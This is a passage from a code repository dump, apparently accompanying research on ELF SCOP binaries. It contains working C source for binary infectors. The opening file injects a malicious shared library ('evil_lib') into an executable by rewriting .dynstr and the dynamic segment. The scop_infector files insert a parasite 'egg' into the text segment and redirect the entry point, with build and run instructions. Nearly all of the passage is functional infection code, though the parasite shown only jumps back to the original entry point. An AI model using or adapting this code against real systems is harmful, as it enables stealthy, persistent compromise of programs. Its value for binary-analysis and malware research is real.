PT_PHDR_INDEX, &segment, &error); 1104 | if (res == false) { 1105 | fprintf(stderr, "elf_segment_modify failed: %s\n", elf_error_msg(&error)); 1106 | goto done; 1107 | } 1108 | res = elf_segment_by_index(&target, PT_INTERP_INDEX, &segment); 1109 | if (res == false) { 1110 | printf("Failed to find segment: %d\n", PT_INTERP_INDEX); 1111 | goto done; 1112 | } 1113 | segment.offset += paddingSize; 1114 | res = elf_segment_modify(&target, PT_INTERP_INDEX, &segment, &error); 1115 | if (res == false) { 1116 | printf("elf_segment_modify failed: %s\n", elf_error_msg(&error)); 1117 | goto done; 1118 | } 1119 | printf("Creating reverse text padding infection to store new .dynstr section\n"); 1120 | elf_segment_iterator_init(&target, &p_iter); 1121 | while (elf_segment_iterator_next(&p_iter, &segment) == ELF_ITER_OK) { 1122 | if (text_found == true) { 1123 | segment.offset += paddingSize; 1124 | res = elf_segment_modify(&target, p_iter.index - 1, 1125 | &segment, &error); 1126 | if (res == false) { 1127 | printf("elf_segment_modify failed: %s\n", 1128 | elf_error_msg(&error)); 1129 | goto done; 1130 | } 1131 | } 1132 | if (segment.type == PT_LOAD && segment.offset == 0) { 1133 | old_base = segment.vaddr; 1134 | segment.vaddr -= paddingSize; 1135 | segment.paddr -= paddingSize; 1136 | segment.filesz += paddingSize; 1137 | segment.memsz += paddingSize; 1138 | new_base = segment.vaddr; 1139 | text_found = true; 1140 | res = elf_segment_modify(&target, p_iter.index - 1, 1141 | &segment, &error); 1142 | if (res == false) { 1143 | printf("elf_segment_modify failed: %s\n", 1144 | elf_error_msg(&error)); 1145 | goto done; 1146 | } 1147 | } 1148 | } 1149 | /* Adjust .dynstr so that it points to where the reverse 1150 | * text extension is; right after elf_hdr and right before 1151 | * the shifted forward phdr table. 1152 | * Adjust all other section offsets by paddingSize to shift 1153 | * forward beyond the injection site. 1154 | */ 1155 | elf_section_iterator_init(&target, &s_iter); 1156 | while(elf_section_iterator_next(&s_iter, §ion) == ELF_ITER_OK) { 1157 | if (strcmp(section.name, ".dynstr") == 0) { 1158 | printf("Updating .dynstr section\n"); 1159 | section.offset = ehdr_size; 1160 | section.address = old_base - paddingSize; 1161 | section.address += ehdr_size; 1162 | n_dynstr_vaddr = section.address; 1163 | evil_string_offset = section.size; 1164 | o_dynstr_size = section.size; 1165 | section.size += strlen(evil_lib) + 1; 1166 | dynstr_size = section.size; 1167 | res = elf_section_modify(&target, s_iter.index - 1, 1168 | §ion, &error); 1169 | } else { 1170 | section.offset += paddingSize; 1171 | res = elf_section_modify(&target, s_iter.index - 1, 1172 | §ion, &error); 1173 | } 1174 | } 1175 | elf_section_commit(&target); 1176 | if (elf_class(&target) == elfclass32) { 1177 | target.ehdr32->e_shoff += paddingSize; 1178 | target.ehdr32->e_phoff += paddingSize; 1179 | } else { 1180 | target.ehdr64->e_shoff += paddingSize; 1181 | target.ehdr64->e_phoff += paddingSize; 1182 | } 1183 | res = modify_dynamic_segment(&target, n_dynstr_vaddr, evil_string_offset); 1184 | if (res == false) { 1185 | fprintf(stderr, "modify_dynamic_segment failed\n"); 1186 | exit(EXIT_FAILURE); 1187 | } 1188 | /* 1189 | * Write out our new executable with new string table. 1190 | */ 1191 | fd = open(TMP, O_CREAT|O_WRONLY|O_TRUNC, S_IRWXU); 1192 | if (fd < 0) { 1193 | perror("open"); 1194 | exit(EXIT_FAILURE); 1195 | } 1196 | /* 1197 | * Write initial ELF file header 1198 | */ 1199 | b = write(fd, target.mem, ehdr_size); 1200 | if (b < 0) { 1201 | perror("write"); 1202 | exit(EXIT_FAILURE); 1203 | } 1204 | /* 1205 | * Write out our new .dynstr section into our padding space 1206 | */ 1207 | b = write(fd, elf_dynstr(&target), o_dynstr_size); 1208 | if (b < 0) { 1209 | perror("write"); 1210 | exit(EXIT_FAILURE); 1211 | } 1212 | b = write(fd, evil_lib, strlen(evil_lib) + 1); 1213 | if (b < 0) { 1214 | perror("write"); 1215 | exit(EXIT_FAILURE); 1216 | } 1217 | 1218 | if ((b = lseek(fd, ehdr_size + paddingSize, SEEK_SET)) != ehdr_size + paddingSize) { 1219 | perror("lseek"); 1220 | exit(EXIT_FAILURE); 1221 | } 1222 | mem = target.mem + ehdr_size; 1223 | final_len = target.size - ehdr_size; 1224 | b = write(fd, mem, final_len); 1225 | if (b != final_len) { 1226 | perror("write"); 1227 | exit(EXIT_FAILURE); 1228 | } 1229 | done: 1230 | elf_close_object(&target); 1231 | rename(TMP, executable); 1232 | printf("Successfully injected '%s' into target: '%s'. Make sure to move '%s'" 1233 | " into one of the shared object search paths, i.e. /lib/x86_64-gnu-linux/\n", 1234 | evil_lib, executable, evil_lib); 1235 | exit(EXIT_SUCCESS); 1236 | } 1237 | 1238 | 1239 | [1] https://www.bitlackeys.org/secure_code_partitioning_2018.txt 1240 | [2] Book: Learning Linux binary analysis, chapter 4 'ELF Virus technology' 1241 | [3] UNIX ELF parasites and viruses http://83.133.184.251/virensimulation.org/lib/vsc01.html 1242 | [4] https://github.com/elfmaster/dsym_obfuscate 1243 | [5] http://83.133.184.251/virensimulation.org/lib/vrn01.html (Retaliation Virus) 1244 | [6] http://phrack.org/issues/61/8.html 1245 | [7] http://www.eresi-project.org 1246 | [8] https://github.com/elfmaster/dt_infect 1247 | [9] https://github.com/elfmaster/libelfmaster 1248 | [10] https://github.com/JonathanSalwan/ROPgadget 1249 | -------------------------------------------------------------------------------- /scop_infector/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -Wl,-z,separate-code host.c -o host 3 | gcc scop_infector.c /opt/elfmaster/lib/libelfmaster.a -o scop_infect 4 | gcc -N -fPIC -pie -static -nostdlib egg.c -o egg 5 | clean: 6 | rm -f scop_infect egg host 7 | 8 | -------------------------------------------------------------------------------- /scop_infector/README.md: -------------------------------------------------------------------------------- 1 | # Simply compile the code 2 | 3 | make 4 | 5 | # Then run the infector on the binary named 'host' 6 | 7 | ./scop_infect host 8 | 9 | 10 | -------------------------------------------------------------------------------- /scop_infector/egg.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | * infect.c will patch these values 4 | * with the addrs of e_entry, and get_rip() 5 | * from before they are relocated at runtime. 6 | * These are then subtracted from eachother and 7 | * from the instruction pointer to get the correct 8 | * address to jump to. 9 | */ 10 | static unsigned long o_entry __attribute__((section(".data"))) = {0x00}; 11 | static unsigned long vaddr_of_get_rip __attribute__((section(".data"))) = {0x00}; 12 | 13 | unsigned long get_rip(void); 14 | 15 | extern long get_rip_label; 16 | extern long real_start; 17 | 18 | #define __ASM__ asm volatile 19 | /* 20 | * Code to jump back to entry point 21 | */ 22 | int volatile _start() { 23 | unsigned long n_entry = get_rip() - (vaddr_of_get_rip - o_entry); 24 | 25 | __asm__ volatile ( 26 | "movq %0, %%rbx\n" 27 | "jmpq *%0" :: "g"(n_entry) 28 | ); 29 | } 30 | 31 | /* 32 | * All of your parasite code would typically go between 33 | * _start() and get_rip(). Currently the parasite simply 34 | * calculates the address of the original entry point 35 | * (Since we are being injected into a PIE executable) 36 | * and jumps there. 37 | */ 38 | unsigned long get_rip(void) 39 | { 40 | long ret; 41 | __asm__ __volatile__ 42 | ( 43 | "call get_rip_label \n" 44 | ".globl get_rip_label \n" 45 | "get_rip_label: \n" 46 | "pop %%rax \n" 47 | "mov %%rax, %0" : "=r"(ret) 48 | ); 49 | 50 | return ret; 51 | } 52 | -------------------------------------------------------------------------------- /scop_infector/scop_infector.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include "/opt/elfmaster/include/libelfmaster.h" 16 | 17 | #define PAGE_ALIGN_UP(x) ((x + 4095) & ~4095) 18 | #define PAGE_ALIGN(x) (x & ~4095) 19 | 20 | #define TMP ".xyz.bitch" 21 | 22 | size_t code_len = 0; 23 | static uint8_t *code = NULL; 24 | 25 | bool 26 | patch_payload(const char *path, elfobj_t *target, elfobj_t *egg, 27 | uint64_t injection_vaddr) 28 | { 29 | elf_error_t error; 30 | struct elf_symbol get_rip_symbol, symbol, real_start_symbol; 31 | struct elf_section section; 32 | uint8_t *ptr; 33 | size_t delta; 34 | 35 | if (elf_open_object(path, egg, 36 | ELF_LOAD_F_STRICT|ELF_LOAD_F_MODIFY, &error) == false) { 37 | fprintf(stderr, "elf_open_object(): %s\n", elf_error_msg(&error)); 38 | return false; 39 | } 40 | 41 | if (elf_symbol_by_name(egg, "get_rip", &get_rip_symbol) == false) { 42 | fprintf(stderr, "elf_symbol_by_name(\"get_rip\", ...)\n"); 43 | return false; 44 | } 45 | if (elf_symbol_by_name(egg, "_start", &real_start_symbol) == false) { 46 | fprintf(stderr, "elf_symbol_by_name(\"real_start\", ...)\n"); 47 | return false; 48 | } 49 | 50 | delta = get_rip_symbol.value - real_start_symbol.value; 51 | injection_vaddr += delta; 52 | 53 | elf_symbol_by_name(egg, "vaddr_of_get_rip", &symbol); 54 | ptr = elf_address_pointer(egg, symbol.value); 55 | *(uint64_t *)&ptr[0] = injection_vaddr; 56 | elf_symbol_by_name(egg, "o_entry", &symbol); 57 | ptr = elf_address_pointer(egg, symbol.value); 58 | *(uint64_t *)&ptr[0] = elf_entry_point(target); 59 | 60 | return true; 61 | } 62 | 63 | int main(int argc, char **argv) 64 | { 65 | int fd; 66 | elfobj_t elfobj; 67 | elf_error_t error; 68 | struct elf_segment segment; 69 | elf_segment_iterator_t p_iter; 70 | size_t o_filesz; 71 | size_t code_len; 72 | uint64_t text_offset, text_vaddr; 73 | ssize_t ret; 74 | elf_section_iterator_t s_iter; 75 | struct elf_section s_entry; 76 | struct elf_symbol symbol; 77 | uint64_t egg_start_offset; 78 | elfobj_t eggobj; 79 | uint8_t *eggptr; 80 | size_t eggsiz; 81 | 82 | if (argc < 2) { 83 | printf("Usage: %s \n", argv[0]); 84 | exit(EXIT_SUCCESS); 85 | } 86 | if (elf_open_object(argv[1], &elfobj, 87 | ELF_LOAD_F_STRICT|ELF_LOAD_F_MODIFY, &error) == false) { 88 | fprintf(stderr, "elf_open_object(): %s\n", elf_error_msg(&error)); 89 | exit(EXIT_FAILURE); 90 | } 91 | if (elf_flags(&elfobj, ELF_SCOP_F) == false) { 92 | fprintf(stderr, "%s is not a SCOP binary\n", elf_pathname(&elfobj)); 93 | exit(EXIT_SUCCESS); 94 | } 95 | elf_segment_iterator_init(&elfobj, &p_iter); 96 | while (elf_segment_iterator_next(&p_iter, &segment) == ELF_ITER_OK) { 97 | if (segment.type == PT_LOAD && segment.flags == (PF_R|PF_X)) { 98 | struct elf_segment s; 99 | 100 | text_offset = segment.offset; 101 | o_filesz = segment.filesz; 102 | memcpy(&s, &segment, sizeof(s)); 103 | s.filesz += sizeof(code); 104 | s.memsz += sizeof(code); 105 | text_vaddr = segment.vaddr; 106 | if (elf_segment_modify(&elfobj, p_iter.index - 1, &s, &error) == false) { 107 | fprintf(stderr, "segment_segment_modify(): %s\n", 108 | elf_error_msg(&error)); 109 | exit(EXIT_FAILURE); 110 | } 111 | break; 112 | } 113 | } 114 | /* 115 | * Patch ./egg so that its two global variables 'uint64_t o_entry' 116 | * and 'uint64_t vaddr_of_get_rip' are set to the original entry 117 | * point of the target executable, and the address of where within 118 | * that executable the get_rip() function will be injected. 119 | */ 120 | if (patch_payload("./egg", &elfobj, &eggobj, 121 | text_offset + o_filesz) == false) { 122 | fprintf(stderr, "Failed to patch payload \"./egg\"\n"); 123 | goto done; 124 | } 125 | 126 | /* 127 | * NOTE We must use PAGE_ALIGN on elf_text_base() because it's PT_LOAD 128 | * is a merged text and data segment, which results in having a p_offset 129 | * larger than 0, even though the initial ELF file header actually starts 130 | * at offset 0. Check out 'gcc -N -nostdlib -static code.c -o code' and 131 | * examine phdr's etc. to understand what I mean. 132 | */ 133 | elf_symbol_by_name(&eggobj, "_start", &symbol); 134 | egg_start_offset = symbol.value - PAGE_ALIGN(elf_text_base(&eggobj)); 135 | eggptr = elf_offset_pointer(&eggobj, egg_start_offset); 136 | eggsiz = elf_size(&eggobj) - egg_start_offset; 137 | 138 | switch(elf_class(&elfobj)) { 139 | case elfclass32: 140 | elfobj.ehdr32->e_entry = text_vaddr + o_filesz; 141 | break; 142 | case elfclass64: 143 | elfobj.ehdr64->e_entry = text_vaddr + o_filesz; 144 | break; 145 | } 146 | /* 147 | * Extend the size of the section that the parasite code 148 | * ends up in 149 | */ 150 | elf_section_iterator_init(&elfobj, &s_iter); 151 | while (elf_section_iterator_next(&s_iter, &s_entry) 152 | == ELF_ITER_OK) { 153 | if (s_entry.size + s_entry.address == text_vaddr + o_filesz) { 154 | s_entry.size += eggsiz; 155 | elf_section_modify(&elfobj, s_iter.index - 1, 156 | &s_entry, &error); 157 | } 158 | } 159 | elf_section_commit(&elfobj); 160 | 161 | fd = open(TMP, O_RDWR|O_CREAT|O_TRUNC, 0777); 162 | ret = write(fd, elfobj.mem, text_offset + o_filesz); 163 | ret = write(fd, eggptr, eggsiz); 164 | ret = write(fd, &elfobj.mem[text_offset + o_filesz + eggsiz], 165 | elf_size(&elfobj) - text_offset + o_filesz + eggsiz); 166 | if (ret < 0) { 167 | perror("write"); 168 | goto done; 169 | } 170 | done: 171 | close(fd); 172 | rename(TMP, elf_pathname(&elfobj)); 173 | elf_close_object(&elfobj); 174 | } 175 | --------------------------------------------------------------------------------